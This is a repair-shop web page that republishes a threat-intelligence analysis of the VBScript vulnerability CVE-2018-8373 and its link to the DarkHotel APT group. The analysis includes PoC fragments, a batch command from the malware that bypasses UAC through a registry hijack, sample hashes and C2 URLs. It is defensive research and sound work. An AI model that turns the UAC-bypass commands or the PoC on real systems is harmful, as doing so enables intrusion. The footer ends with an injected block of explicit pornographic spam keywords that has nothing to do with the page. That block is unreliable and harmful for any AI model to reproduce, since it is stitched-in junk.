錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項目 服務(wù)報價 維修流程 IT外包服務(wù) 服務(wù)器維護 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
利用CVE漏洞的攻擊與Darkhotel團伙相關(guān)的分析

作者: 佚名  日期:2018-10-28 16:35:15   來源: 本站整理

 背景

2018年8月15日,網(wǎng)絡(luò)安全公司趨勢科技公開了其在今年7月捕獲到的一例在野0day漏洞攻擊,該攻擊利用了Windows VBScript Engine的代碼執(zhí)行漏洞,經(jīng)過分析對比發(fā)現(xiàn)該0day漏洞和2018年4月360公司首次發(fā)現(xiàn)影響IE瀏覽器并通過Office文檔進行攻擊的“雙殺”漏洞(詳見參考[1])使用了多個相同的攻擊技術(shù),極有可能是同一團伙所為。
360威脅情報中心第一時間對該0day漏洞進行了分析確認,并通過大數(shù)據(jù)關(guān)聯(lián)分析確認本次的0day在野攻擊與DarkHotel APT組織存在關(guān)聯(lián)。

來源
2018年8月15日,趨勢科技公開了其在今年7月11日捕獲到的一例在野0day漏洞攻擊技術(shù)分析,該漏洞已于公開的前一天被微軟修復(fù),漏洞編號為:CVE-2018-8373。

三個“雙殺”0day漏洞時間線
CVE-2018-8373其實是今年以來被發(fā)現(xiàn)的影響Windows VBScript Engine的第三個漏洞,其中前兩個均為360公司的安全研究人員首次發(fā)現(xiàn),這三個漏洞均影響IE瀏覽器,且可以通過微軟Office文檔進行攻擊。三個“雙殺”0day漏洞發(fā)現(xiàn)的時間線如下:
CVE
發(fā)現(xiàn)時間
修復(fù)時間
描述
CVE-2018-8174
2018.4.18
2018.5.8
影響Office和IE的雙殺漏洞,在野
CVE-2018-8242
2018.7.10
360安全研究人員發(fā)現(xiàn)并上報微軟(參考[2])
CVE-2018-8373
2018.7.11
2018.8.14
影響Office和IE的雙殺漏洞,在野

溯源與關(guān)聯(lián)
獲得打碼后的IOC
360威脅情報中心通過大數(shù)據(jù)分析關(guān)聯(lián)首先得到了趨勢科技打碼后的IOC地址:
http://windows-updater.net/realmuto/wood.phpwho=1
關(guān)聯(lián)同源0day攻擊樣本
并發(fā)現(xiàn)一個攻擊時間和趨勢科技發(fā)現(xiàn)在野“雙殺”0day攻擊在同一天的疑似使用該0day攻擊的office文檔樣本,該Offce文檔樣本中內(nèi)嵌的域名和趨勢科技給出的域名格式一致(http://windows-updater.net/stack/ov.phpw= 1\x00who =1)

確認與DarkHotel關(guān)聯(lián)
得到0day漏洞攻擊所使用的域名后我們立即發(fā)現(xiàn),該域名正是360威脅情報中心在今年5月發(fā)布的關(guān)于DarkHotel APT團伙最新的攻擊活動中使用過的域名(詳見參考[4]):


在360威脅情報中心威脅平臺中輸入該域名也會立即關(guān)聯(lián)到DarkHotel:

CVE-2018-8373漏洞分析
如下所示為趨勢給出的對應(yīng)POC觸發(fā)代碼:

如下為該漏洞和今年5月360捕獲的CVE-2018-8174的POC對比,CVE-2018-8174主要的漏洞原因在于Class_Terminater中可以對釋放的內(nèi)存對象繼續(xù)賦值,從而導(dǎo)致釋放后重用,而這次的CVE-2018-8373則是類的Propert Get操作中可以修改對應(yīng)的類成員array的長度,從而導(dǎo)致之后的對象重用:

如下為對應(yīng)的的POC代碼,POC代碼很簡單,VulClass類中定義了array成員變量,
方法Class_Initialize及Public Default Property Get P。
其中Class_Initialize是VB中一個已經(jīng)棄用的方法,用于在類創(chuàng)建的時候?qū)崿F(xiàn)對應(yīng)的操作,重載后可以在類創(chuàng)建時完成相應(yīng)的初始化工作,之后被new代替。
Default Property為一個類屬性,被Public Default Property Get P重載后,對該類的訪問將觸發(fā)相應(yīng)的操作,在POC中即執(zhí)行ReDim Preserve array(1)。
ReDim用于對指定的內(nèi)存重新分配,其最終在VB引擎中通過SafeArrayRedim函數(shù)實現(xiàn),熟悉VB漏洞的話,可以知道該函數(shù)就是之前CVE-2015-6332漏洞的根源:

POC中首先執(zhí)行該行代碼,new的時候?qū)?yīng)執(zhí)行以下函數(shù)VBScriptClass::InitializeClass,由于VulClass類中重載了Class_Initialize方法,因此通過vbscript!CScriptEntryPoint::Call派發(fā)進入到對應(yīng)的編碼者實現(xiàn)的Class_Initialize方法中:
Set cls = New VulClass

Class_Initialize方法中修改對應(yīng)的array長度:
Private Sub Class_Initialize
ReDim array(2)
End Sub
可以看到此時生成的Array對象如下所示,其成員變量數(shù)為3,對應(yīng)的pvData為0x0514dfd0:

之后運行以下代碼,VB引擎解析以下代碼的順序是從左自右掃描的,因此首先會進行cls.array(2)的操作:
cls.array(2) = cls
此時會調(diào)用函數(shù)vbscript!AccessArray判斷對應(yīng)array(2)是否可訪問,如下所示此時獲取對應(yīng)array的內(nèi)存對象:


經(jīng)過一番判斷之后,如下所示esi指向?qū)?yīng)的array對象,依次獲取array中每個成員的大小cbElements,此處為0x10,需要訪問賦值的array index,此處為2,pvData,以此計算出array(2)對象的地址0514dfd0(pvData)+2(element)*10(cbElements)=0514ff0,0514ff0會被直接拷貝到求值棧上:

如下所示拷貝到求值棧上的array(2)地址:

通過內(nèi)存訪問斷點可以跟蹤對該地址的引用:

之后執(zhí)行等號右側(cè)部分的操作,由于該VulClass類定義了Public Default Property Get P,因此會在賦值前執(zhí)行其中對應(yīng)的代碼:
cls.array(2) = cls
該段代碼很簡單,通過ReDim修改了array數(shù)組的長度,屬性Preserve表示對數(shù)組中已賦值的那些數(shù)據(jù)不清空 ,但是該處并不影響對應(yīng)的漏洞觸發(fā),該屬性刪掉也是可以的:
Public Default Property Get P
ReDim Preserve array(1)
End Property
該重置array內(nèi)存的操作實際通過函數(shù)RedimPreserveArray實現(xiàn),如下所示傳入的array對象:

經(jīng)過一番array類型判斷后最終會調(diào)用SafeArrayRedim,該函數(shù)也就是前面提到的漏洞CVE-2015-6332的成因根源,其原型如下所示,*psa為對應(yīng)array對象,* psaboundNew為新數(shù)組的大小+1:
HRESULT SafeArrayRedim(
_Inout_ SAFEARRAY *psa,
_In_ SAFEARRAYBOUND *psaboundNew
);
此時的參數(shù)如下所示:

調(diào)用之后可以看到array對象的pvData已經(jīng)被修改為0x084a0fe0,之前的pvData 0514dfd0的內(nèi)存地址已經(jīng)被釋放,包括我們之前存在賦值棧上的0x0514dff0:

最終調(diào)用函數(shù)AssignVar完成賦值,如下所示,具體賦值操作在紅框中,之前會有一個VAR::Clear的操作,用于釋放之前的引用:

VAR::Clear會獲取對應(yīng)的array(2)的地址,從而造成崩潰:

總結(jié)一下,cls.array(2) = cls這行代碼中,cls.array(2)賦值前會保存array(2)的地址到求值棧上,之后cls中的Public Default Property Get P操作導(dǎo)致賦值前對array()內(nèi)存進行重新分配,即之前保存到求值棧上的指針指向的內(nèi)存被釋放,該指針在最終的賦值操作中作為賦值的目標地址,從而導(dǎo)致重用崩潰。

樣本分析
360威脅情報中心通過大數(shù)據(jù)關(guān)聯(lián)到本次0day攻擊相關(guān)的一些payload文件,并對其中的一個后門程序進行了詳細分析。
Zlib
關(guān)聯(lián)到的一個后門程序名為Zlib,其主要功能為:
判斷加載進程,如果為mmc.exe,則zlib模塊是通過bypassuac的方式加載起來的,然后會通過rundll32加載zlib模塊的導(dǎo)出函數(shù)uncormpress2(也就是惡意代碼主函數(shù)),隨后調(diào)用進程退出。
判斷加載進程,如果不是rundll32加載的(Dropper加載),在DllMain函數(shù)中創(chuàng)建線程;再判斷操作系統(tǒng)是否為64位,如果為64位,直接執(zhí)行惡意代碼主函數(shù),如果不是64位,把zlib模塊文件拷貝到programdata目錄下,然后通過劫持mmc,運行mmc.exe,加載zlib模塊,實現(xiàn)bypassUAC,然后轉(zhuǎn)到第一步。
惡意代碼的功能主要是從自身解密出URL,下載惡意payload,解密成dll,修改上線配置信息后,在內(nèi)存中加載運行。

具體流程如下所示:

詳細分析如下:
樣本MD5:80705564b4f89915a04bd4c416cd63bc
樣本編譯時間是2018年7月12日:

樣本入口首先會判斷加載DLL的主程序是什么:

如果加載DLL的進程為mmc.exe,通過給rundll32.exe傳參數(shù)調(diào)用DLL的uncompress2導(dǎo)出函數(shù):

而該導(dǎo)出函數(shù)也被后面的調(diào)用進程不為rundll32.exe的流程的線程調(diào)用:

如果加載的進程不為rundll32.exe,會直接進入MainThread線程,該處會先判斷系統(tǒng)版本,如果是64位系統(tǒng),直接下載并加載shellcode,如果不是的話,會進入LoadByMMC函數(shù):

該函數(shù)的作用主要是把當(dāng)前DLL復(fù)制到ProgramData下,然后運行批處理,通過劫持mmc,繞過UAC加載DLL:
/c REG ADD "HKCU\\Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\\InprocServer32" /ve /t REG_EXP AND_SZ /d "%s\\zlib1.dll" /f &
REG ADD "HKCU\\Environment" /v "COR_PROFILER" /t REG_SZ /d "{D5AB5662-131D-453D-88C8-9BBA87502ADE}" /f &
REG ADD "HKCU\\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f &
REG ADD "HKCU\\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "%s\\zlib1.dll" /f &
mmc gpedit.msc

把操作系統(tǒng)版本和進程列表通過HTTP POST的方式發(fā)送到解密后的URL:



URL的解密算法,如下:

待解密的數(shù)據(jù),和之前發(fā)過的報告的前面的標志是一樣的:OCCUR和OCCID

解密后的域名:

檢驗網(wǎng)絡(luò)返回數(shù)據(jù)的合法性,還和以前發(fā)的報告的樣本的算法是相同的:

解密成DLL后,把DLL里面的URL配置信息修改成當(dāng)前的url,如圖:

尋找REFUR和REFID 這2個字段,按照同樣的加密算法,加密并寫回去:

然后在內(nèi)存中加載執(zhí)行惡意代碼:

該惡意代碼和之前代碼的相同處:
解密URL的代碼一樣
判斷網(wǎng)絡(luò)回來數(shù)據(jù)的合法性的地方一樣

不同處:
動態(tài)修改加載的DLL的上線URL和ID
ByPASS uac的方法在DLL里
另外,360威脅情報中心還關(guān)聯(lián)到一個新的DarkHotel使用的劫持Windows操作系統(tǒng)模塊的后門mstfe.dll(MD5: 5ce7342400cce1eff6dc70c9bfba965b),并發(fā)現(xiàn)新的C2:
hxxp://documentsafeinfo.com/mohamed/salah.php
hxxp://779999977.com/mohamed/salah.php


ID為dr.john-1:


總結(jié)
360威脅情報中心對DarkHotel APT團伙的攻擊活動一直保持著持續(xù)跟蹤,從本次事件可以看出,該攻擊團伙在近年中保持著相當(dāng)高的活躍度,為了達成攻擊目的甚至?xí)幌褂?day漏洞進行攻擊。另一方面,以O(shè)ffice文檔作為0day攻擊載體依然是當(dāng)前最為流行的攻擊方式,而通過微軟Office來利用第三方模塊0day漏洞的攻擊面已經(jīng)成為黑客研究的熱點。
目前,基于360威脅情報中心的威脅情報數(shù)據(jù)的全線產(chǎn)品,包括360威脅情報平臺(TIP)、天眼高級威脅檢測系統(tǒng)、360 NGSOC等,都已經(jīng)支持對此APT攻擊團伙最新攻擊活動的檢測。

IOC
URL
http://documentsafeinfo.com/mohamed/salah.php
http://779999977.com/mohamed/salah.php
http://windows-updater.net/stack/ov.php



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 高清无码一区二区在线观看吞精| 亚洲爆乳无码一区二区三区| 在线无码午夜福利高潮视频 | 国产精品99无码一区二区| 伊人天堂av无码av日韩av| 寂寞少妇做spa按摩无码| 国产成人无码AV麻豆| 国产AV无码专区亚洲AWWW| 777爽死你无码免费看一二区| 国产精品无码久久久久| 亚洲午夜无码久久| 亚洲AV无码码潮喷在线观看| 久久精品无码一区二区三区免费| 免费无码毛片一区二区APP| 中文字幕av无码无卡免费| 亚洲中文字幕无码爆乳av中文| 亚洲AV无码乱码麻豆精品国产| 精品无码国产污污污免费网站国产| 久久久久久国产精品无码超碰| 亚洲熟妇无码乱子AV电影| 精品无码中文视频在线观看| 久久亚洲精品无码AV红樱桃| 亚洲国产精品无码久久久不卡| 亚洲精品一级无码鲁丝片| 狠狠爱无码一区二区三区| 色欲aⅴ亚洲情无码AV蜜桃| 精品少妇无码AV无码专区| 亚洲av无码片在线播放| 亚洲AV综合色区无码另类小说| 中文无码喷潮在线播放| 亚洲AV无码专区日韩| 国产午夜激无码av毛片| av无码a在线观看| 成人无码区免费A∨直播| 中文字幕av无码不卡免费| 中文无码喷潮在线播放| 亚洲成av人片在线观看无码不卡| 亚洲中文字幕无码一区二区三区 | 无码av中文一区二区三区桃花岛| 精品国产a∨无码一区二区三区| 日韩国产成人无码av毛片|